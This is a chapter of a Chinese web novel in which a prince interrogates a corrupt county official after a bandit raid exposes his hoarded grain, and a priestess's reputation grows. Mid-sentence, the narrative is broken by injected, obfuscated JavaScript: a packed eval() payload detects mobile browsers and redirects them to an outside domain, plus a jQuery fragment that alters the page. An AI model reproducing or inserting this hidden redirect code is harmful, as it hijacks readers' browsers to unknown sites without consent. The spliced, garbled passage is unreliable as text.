吴府大火火势正旺。
一阵疾风刮过,漫天灰烬高高扬起,随风飘飘荡荡,一两片越过院墙,飘过街道,风轻即停,落在一处清雅院落。
屋内,累了一天的黎玥睡得正酣。
琳琅轻悄悄推开门,低声催促,“小姐,快起来,吴府出事了,快去凑热闹!”
兴奋的声音挡都挡不住。
黎玥翻了个身,停顿两瞬,猛一起身,发丝乱蓬蓬地翘起,她朦胧着眼,瞥向床榻边的小丫鬟,“出何事了?”
“是吴庸家,他家遭土匪了!”琳琅挤眉弄眼,掩手悄悄道:“奴婢见七殿下去了,好多人都跟着。”
“嗯?”黎玥眼中一亮,“还有这种好事?”
霎时睡意消了一半,起身穿鞋下榻,接过外衣披上就走。
琳琅刚拿起梳子,便见人跑远了,她赶紧追上去,“小姐,头发理一下。”
……
此刻吴府。
随着大批官兵涌入,土匪逐渐被压制。
这些人死的死,跑的跑,但大半被抓了回来,听候处置。
吴府火势已歇,唯剩焦木颓垣,一片狼藉,处处弥漫着焦臭味和血腥气。
黎玥一路风风火火地赶,琳琅跟在她身后气喘吁吁。快到时,她才整理起装束,发丝,肃了面色,缓步朝吴府大门走。
吴府大门守满官差衙役。
只在侧门处留下可通行的道路,出来的人有些抬担架,担架上躺着被烧伤砍伤的家仆,这些人走后,又是一连串抬箱子的人,箱子盖没合严实,几串金灿灿的珠子露出头,在黑夜中格外亮眼。
甚至还有人接连搬米袋走过。
若非环境不允许,不知道的,还以为是在搬家。
黎玥在外观察了一会儿,随后抬步要进府,不出所料,被指挥的人拦住。
“此处闲杂人等不可进,姑娘请回。”青袍男子语调客气。
琳琅赶忙解释,“这位大哥,我家小姐不是闲杂人,是从京中来的黎祭司。”她心思一转,继续道:“今夜是湛王殿下叫我们来的。”
“果真?”
青袍男子仍心存怀疑,倒是身旁有人认出了黎玥,先是朝她抱拳行礼,又朝男子道:“头儿,是黎祭司没错,今早祈福我在前排守卫,认得她。”
黎玥轻轻颔首。
青袍男子这才收了戒心。
侧身让出一条道:“黎祭司,失敬失敬,请进。”
“无事。”黎玥摇摇头,抬步欲走,想了想,又问向他,“这位大哥,敢问里面发生了何事?”
“这……说来话长。”
青袍男子长叹一口气,“我们来时,本以为只是土匪作乱,放火烧了吴府西院,可谁知,那群土匪声东击西,竟发现了府中密室,那密室里藏有大量金银珠宝,更甚者,竟堆满了大袋粮食,水患以来,粮食可是稀缺之物,这吴庸……着实可疑。”
“总之,事情惊动了殿下,殿下夜半赶来,如今正在府中审问吴庸等人。”
青袍男子把话说完,叫住一个原地歇息的衙役,“还有多少没搬完?”
“还早着呢。”
那人抹了一把汗,又和另一人合力抬起箱子,吭哧吭哧往前走。
“既然如此,那我便不打扰统领办事了。”
两人互致一礼。
黎玥便进了吴府。
她对青袍男子后半句话很感兴趣。
萧然作为一个无能纨绔皇子,还会审问人?她倒要亲眼见识一番。
等到了地方,黎玥才知,所谓的审问,不过是吴庸单方面的求饶,痛哭流涕澄清自己。
“殿下,下官是冤枉的!”
“这些粮食,下官收着,是怕匪徒夺了去,从未想过私吞啊!”
“那,那些财宝,也是为百姓所备啊!”
吴庸跪在地上,被人揍得鼻青脸肿,一把鼻涕一把泪,伸手去够萧然的衣摆。
萧然轻飘飘地躲开,百般无赖地站着,听底下人聒噪。
一旁土匪首领被两个官兵压在地上,气势汹汹,嘴上骂骂咧咧不止。
“父母官?呸!吴庸,你这头肥猪,藏了这么多私粮,撑不死你吧,老子就说,迟早有义士发现你的赃物,老子就是来替闵县百姓伸张正义的!”
吴庸被骂得眼皮直跳,分出神思,骂回去几句,“你这粗野之辈,轮得到你来说话?!”
说完又巴巴仰视萧然,“殿下,下官所言字字为真啊。”
“呸!还真话?你个烂了嘴的肥货,满口假话,不知蒙谝了多少人,老子草莽出身,揍的就是你这种人!放开老子,老子还要揍他!”
“你来揍啊,落水狗!”
“你!”
土匪首领挣扎不断,两个官兵快要按压不住。
眼看这两人吵得不可开交,萧然烦躁蹙眉,淡淡扫去官兵一眼,“放开他。”
“殿下,这……”官兵犹疑,“此人凶残,若是伤了人……”
“不会,本王有分寸。”
两个官兵对视一眼,纷纷松了手。
萧然对略显不可置信的土匪首领道:“揍吧。”
没了桎梏,土匪首领站起身,活络经骨,朝吴庸走去。
吴庸满身肥肉,无力可使,吓得一屁股跌坐在地,底裤湿了,手脚颤抖往后爬。
还没爬出两步,便被身强力壮的首领一脚踹出几米远。
一声声惨叫中,萧然侧首,望向黎玥所在处,轻声笑道:“黎祭司来了。”
“嗯,来看看是怎么回事。”黎玥走近淡然道。
“圣女,救我,救救我。”
吴庸在乱拳狂轰中挣扎着伸出一只手。
黎玥调转步子避开,垂下眼:“抱歉,我不救该死的人。”
那边彻底绝望了。
渐渐地快没了声息。
萧然拍拍手,几个官兵扒开首领,重新压制起人,首领眼中嗜血的光还没褪去,在触及萧然目光时,才垂首掩下。
吴庸倒在一滩血水中,汗液、血液黏了全身,浑身骚臭难闻。
萧然隔了一段距离,问:“吴大人可还有话要说?”
“下官,下官错了,不该犯事……”微弱的声音时断时续,“殿下放过下官吧。”
“嗯……这样的话。”萧然似垂头沉思,而后望向一侧阴影处,“李大人,你来说说,依吴大人的作为,该当何罪?”
阴影里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15622175|172304||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
从出一个人。
黎玥这才注意到李恪言也跟着来了。
灰蓝衣袍人影步调沉稳,目不斜视,躬身朝萧然作揖,直起身子道:“按大晟律法,贪污受贿,私吞赈灾粮者,该斩首示众。不过此事干系重大,应先上表朝廷,由大理寺审理后,再做决断。”
“殿下……殿下……”
趴地上的吴庸大惊,仍旧不死心,拖着身体爬到萧然脚边,“殿下救救我,我将全部……全部家财奉上,只求殿下饶我一命……”
“吴大人,这你就不对了。”萧然蹲下来,一双桃花眼微微眯起,似笑非笑,“圣女说过了,你是人祸毒瘤,必当除之,本王怎能忤逆圣女的意思?”
黎玥在旁轻咳提醒。
萧然,你收着点!
“好了,吴大人不必再说了。”
萧然站起身,转眼看向李恪言,“父皇信任李大人,此事交由李大人全权处理,还有多少烂泥污垢,一个一个清理。”
“殿下放心,微臣已整理出名单。”李恪言语气恭敬。
“不错。”萧然拍拍他肩膀,扬声道:“吴大人倒了,闵县群龙无首,正是乱的时候,李大人尽管放手去做,有本王替你作保,不必束手束脚。”
他的话依然漫不经心。
黎玥却没忽视他眼中一闪而过的重视。
李恪言素来平静的眸有了一丝波动,燃起丝丝斗志,“是,微臣必不负殿下所托。”
“李大人下去忙吧。”萧然摆摆手。
“是。”
李恪言走后,萧然朝黎玥方向弯眸笑道:“黎祭司,戏结束了,可以回去睡觉了。”
黎玥立在原地,神色沉沉,并未应答。
“黎祭司?”
萧然走近,在她面前挥挥手,“傻了?”
黎玥抬眼,眼中恢复清明。
她方才回想了一遍近日以来发生的所有事,短短几瞬,便理清全部思绪,朝萧然笑道:“多谢殿下,这场戏倒是热闹。”
“黎祭司喜欢便好。”
黎玥颔首,“那玥先行回去。”
即便心中有千言万语,但今日确实晚了,得挑个好时机再清算。
打定主意,她快步消失在萧然视野内。
萧然望着她离开。
回转身,脚步轻快,隐遁于一片黑暗中。
……
祈福当晚一事很快传遍闵县。
百姓人人拍手称快,只道吴庸恶事做尽,报应不爽,土匪误打误撞,竟都能发现他密室赃款。
分明是上天看不下去,派下恶人来治。
黎玥在百姓中的声望广传。
人称黎祭司一语成谶,名不虚传,真真有通晓天地,预知万事的本领。
甚至有画师绘下两幅画。
一幅是女子独立于喧嚷灾民中,一手牵着孩童,一手问蝶,面容柔和,向众人昭告神示。一幅是祈福台下,女子一袭白衣翻飞,剑指贪官,气势凌人。
这两幅画其中一幅到了黎玥手上。
她摩挲画纸,略感到几分不自在,毕竟若是让他们知晓,他们眼中的圣女也只是个普通的小丫头,也曾满身脏污,混迹他们之中,不知他们会作何想。